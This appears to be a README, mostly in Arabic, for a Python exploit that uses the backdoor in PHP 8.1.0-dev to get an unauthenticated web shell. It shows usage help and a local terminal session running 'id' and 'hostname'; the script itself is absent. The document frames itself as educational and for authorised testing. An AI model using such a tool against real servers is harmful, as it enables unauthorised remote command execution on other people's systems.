
PHP 8.1.0-dev WebShell Remote Code Execution
كود استغلال لـ PHP 8.1.0-dev WebShell RCE (بدون مصادقة)
النتيجة المتوقعة: استغلال الباب الخلفي المثبّت على خادم PHP 8.1.0-dev وبالتالي الحصول على WebShell لتنفيذ الأوامر عن بُعد.
مصمم للأغراض التعليمية والاختبار في بيئات الشركات فقط.
تم اختبار هذا الاستغلال على Python 3.8.6
cfx: ~/Documents/
→ ./exploit.py -h
usage: exploit.py [-h] [-l URL]
PHP 8.1.0-dev WebShell RCE by ColdFusionX
optional arguments:
-h, --help show this help message and exit
-l URL, --url URL PHP 8.1.0-dev Target URL(Example: http://127.0.0.1)
Exploit Usage :
./exploit.py -l http://127.0.0.1
[^] WebShell=- id
OR
[^] WebShell=- whoami
يتطلب هذا الاستغلال وسيطات مفردة للتشغيل مبدئيًا:
cfx: ~/Documents/
→ ./exploit.py -l http://127.0.0.1
[+] PHP 8.1.0-dev WebShell RCE by ColdFusionX
Target is running on PHP 8.1.0-dev
*Shoot your commands below*
[^] WebShell=- id
uid=1000(cfx) gid=1000(cfx) groups=1000(cfx)
[^] WebShell=- hostname
shockwave
[^] WebShell=- ^C
Exiting.
cfx: ~/Documents/
→ ./exploit.py -l http://127.0.0.1
[+] PHP 8.1.0-dev WebShell RCE by ColdFusionX
Invalid URL or Target Not Vulnerable